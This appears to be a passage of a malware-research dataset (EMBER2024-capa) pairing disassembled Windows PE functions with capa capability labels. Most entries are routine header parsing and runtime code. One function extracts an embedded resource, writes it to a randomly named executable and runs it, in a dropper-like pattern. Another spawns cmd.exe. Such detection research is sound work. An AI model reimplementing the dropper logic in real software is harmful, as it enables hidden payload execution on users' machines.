joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180103810
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x180103828
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x180103830
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x180103840
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x18010388d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x180103884
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x18010388f
add rax, 0x28
cmp rax, r9
jne 0x180103870
xor eax, eax
ret

Function at 0x180103890
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sub.msvcrt.dll_strlen
cmp rax, 8
ja 0x180103920
mov rdx, qword [0x180143f60]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x18010390e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x18010390e
cmp word [rax + 0x18], 0x20b
jne 0x18010390e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x180103920
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1801038f9
add rbx, 0x28
cmp rbx, rdi
je 0x180103920
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1801038f0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x180103930
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x180143f60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x180103950
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x180103958
ret
cmp word [r8 + 0x18], 0x20b
jne 0x180103950
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1801039ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1801039a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x180103950
add rax, 0x28
cmp rax, r9
jne 0x180103990
xor eax, eax
ret

Function at 0x1801039b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x180143f60]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1801039cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1801039d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1801039cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1801039f0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x180143f60]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x180103a10
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x180103a18
ret
cmp word [rdx + 0x18], 0x20b
jne 0x180103a10
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x180103a60
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x180103a57
test rcx, rcx
je 0x180103a10
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x180103a48
xor eax, eax
ret

Function at 0x180103a70
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x180143f60]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x180103a8f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x180103a98
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x180103ab0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x180143f60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x180103ad0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x180103ad8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x180103ad0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x180103ad0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x180103b24
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x180103b30
add rdx, 0x28
cmp r9, rdx
jne 0x180103b10
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x180103b40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x180143f60]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x180103b62
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x180103b70
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x180103b62
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x180103b62
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x180103b62
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x180103bc5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x180103bd8
add rdx, 0x28
cmp r10, rdx
jne 0x180103bb0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x180103be7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x180103bf7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x180103bce
test ecx, ecx
jg 0x180103be0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x28a741380
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x90]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.C:WindowsSystem32cmd.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x28a741458
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0xe0
pop rbp
ret

Function at 0x28a741640
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x28a7416b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x28a747064]
mov rbx, rcx
test esi, esi
jle 0x28a7417e0
mov rax, qword [0x28a747068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x28a7416fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x28a741785
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x28a7416e0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x28a741802
mov rax, qword [0x28a747068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x28a747068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x28a7417e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x28a74177e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x28a741790
add dword [0x28a747064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x28a747068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x28a74177e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x28a741708
mov rax, qword [0x28a747068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x28a741b80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x28a7470a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x28a747080]
test rbx, rbx
je 0x28a741bdc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x28a741bd3
test eax, eax
jne 0x28a741bd3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x28a741bb8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x28a741df0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x28a741e08
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x28a741e10
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x28a741e20
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x28a741e6d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x28a741e64
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x28a741e6f
add rax, 0x28
cmp rax, r9
jne 0x28a741e50
xor eax, eax
ret

Function at 0x28a741e70
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x28a741f00
mov rdx, qword [0x28a744200]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x28a741eee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x28a741eee
cmp word [rax + 0x18], 0x20b
jne 0x28a741eee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x28a741f00
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x28a741ed9
add rbx, 0x28
cmp rbx, rdi
je 0x28a741f00
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x28a741ed0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x28a741f10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x28a744200]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x28a741f30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x28a741f38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x28a741f30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x28a741f8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x28a741f84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x28a741f30
add rax, 0x28
cmp rax, r9
jne 0x28a741f70
xor eax, eax
ret

Function at 0x28a741f90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x28a744200]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x28a741faf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x28a741fb8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x28a741faf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x28a741fd0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x28a744200]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x28a741ff0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x28a741ff8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x28a741ff0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x28a742040
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x28a742037
test rcx, rcx
je 0x28a741ff0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x28a742028
xor eax, eax
ret
Function at 0x28a742050
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x28a744200]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x28a74206f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x28a742078
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x28a742090
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x28a744200]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x28a7420b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x28a7420b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x28a7420b0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x28a7420b0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x28a742104
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x28a742110
add rdx, 0x28
cmp rdx, r9
jne 0x28a7420f0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x28a742120
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x28a744200]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x28a742142
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x28a742150
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x28a742142
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x28a742142
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x28a742142
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x28a7421a5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x28a7421b8
add rdx, 0x28
cmp r10, rdx
jne 0x28a742190
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x28a7421c7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x28a7421d7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x28a7421ae
test ecx, ecx
jg 0x28a7421c0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001fd0
Capabilities:
Accept command line arguments

Disassembly:
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r8, qword [0x140026488]
xor r13d, r13d
mov r15, rdx
mov r12, rcx
mov esi, r13d
mov r14d, r13d
test r8, r8
je 0x140002012
mov eax, dword [0x140026484]
mov dword [rcx], eax
mov qword [rdx], r8
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rsi
ret
mov qword [rsp + 0x78], rbp
mov dword [0x140026484], r13d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [0x140026484]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rbp, rax
mov eax, dword [0x140026484]
test eax, eax
jle 0x140002184
test rbp, rbp
je 0x140002184
mov qword [rsp + 0x80], rdi
mov edi, r13d
mov qword [rsp + 0x70], rbx
test eax, eax
jle 0x1400020ac
mov rbx, rbp
nop word [rax + rax]
mov r8, qword [rbx]
mov r9d, 0xffffffff
mov qword [rsp + 0x38], r13
xor edx, edx
mov qword [rsp + 0x30], r13
mov ecx, 0xfde9
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc edi
lea rbx, [rbx + 8]
add esi, eax
mov eax, dword [0x140026484]
cmp edi, eax
jl 0x140002070
inc eax
movsxd rcx, eax
movsxd rax, esi
lea rcx, [rax + rcx*8]
call sub.avutil_58.dll_av_mallocz
mov r8, rax
mov qword [0x140026488], rax
mov eax, dword [0x140026484]
lea ecx, [rax + 1]
movsxd rdx, ecx
lea r13, [r8 + rdx*8]
test r8, r8
jne 0x1400020ea
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140002177
xor edx, edx
mov edi, edx
test eax, eax
jle 0x140002153
mov ebx, edx
nop dword [rax]
nop dword [rax + rax]
mov qword [rsp + 0x38], rdx
mov eax, esi
mov qword [rsp + 0x30], rdx
sub eax, r14d
mov dword [rsp + 0x28], eax
mov r9d, 0xffffffff
movsxd rcx, r14d
xor edx, edx
add rcx, r13
mov qword [rbx + r8], rcx
mov r8, qword [rbx + rbp]
mov qword [rsp + 0x20], rcx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r8, qword [0x140026488]
lea rbx, [rbx + 8]
add r14d, eax
inc edi
xor edx, edx
cmp edi, dword [0x140026484]
jl 0x140002100
movsxd rax, edi
mov rcx, rbp
mov qword [r8 + rax*8], rdx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [0x140026484]
mov dword [r12], eax
mov rax, qword [0x140026488]
mov qword [r15], rax
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rsi
ret
Function at 0x140018110
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001815a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001815a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001815a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001815a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001815a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001815c
xor al, al
add rsp, 0x28
ret
Function at 0x140001090
Capabilities:
Create process on windows
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xf0
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 0x65
mov r8d, 0x100
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
xor ecx, ecx
mov ebp, eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor r15d, r15d
lea r14, [0x140005720]
mov ebx, r15d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea ecx, [rax - 0x61]
cmp cl, 0x19
ja 0x140001137
mov byte [rbx + r14], al
inc rbx
cmp rbx, 0xa
jl 0x140001122
lea rax, [r14 - 1]
cmp byte [rax + 1], r15b
lea rax, [rax + 1]
jne 0x140001141
mov ecx, dword [str..exe]
lea rdx, [0x140003398]
mov dword [rax], ecx
movzx ecx, byte [0x140003394]
mov byte [rax + 4], cl
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test ebp, ebp
jle 0x14000119d
mov rbx, rbp
nop word [rax + rax]
movzx r8d, byte [rsi]
lea rdx, [0x14000339c]
mov rcx, rdi
call fcn.140001030
lea rsi, [rsi + 1]
sub rbx, 1
jne 0x140001180
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
xor r9d, r9d
mov dword [rsp + 0xd4], eax
xor r8d, r8d
mov qword [rsp + 0x60], rax
xor edx, edx
lea rax, [rsp + 0x50]
mov rcx, r14
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001350
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001de0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e2c
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a910]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a920]
mov dword [rax], 1
mov rax, qword [0x14000a930]
mov dword [rax], 1
mov rax, qword [0x14000a890]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a900]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a9e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a9c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a870]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x14000165e
Capabilities:
Get graphical window text

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
cmp dword [rbp + 0x18], 2
je 0x14000168c
cmp dword [rbp + 0x18], 0x111
je 0x14000169f
jmp 0x1400017fe
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_PostQuitMessage]
call rax
jmp 0x140001822
mov rax, qword [rbp + 0x20]
cmp ax, 1
jne 0x140001821
mov rax, qword [0x14000d030]
lea rdx, [rbp - 0x60]
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.atof
movq rax, xmm0
mov qword [rbp - 8], rax
pxor xmm0, xmm0
comisd xmm0, xmmword [rbp - 8]
jb 0x140001718
mov rax, qword [rbp + 0x10]
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Por_favor__ingrese_un_valor_vlido_mayor_que_0.
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov eax, 0
jmp 0x140001827
mov rax, qword [0x14000d048]
mov r9d, 0
mov r8d, 0
mov edx, 0x147
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageA]
call rax
mov dword [rbp - 0xc], eax
mov rax, qword [0x14000d050]
mov r9d, 0
mov r8d, 0
mov edx, 0x147
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageA]
call rax
mov dword [rbp - 0x10], eax
mov eax, dword [rbp - 0xc]
cmp eax, dword [rbp - 0x10]
jne 0x14000179c
mov rax, qword [rbp + 0x10]
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Las_unidades_de_origen_y_destino_no_pueden_ser_iguales.
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
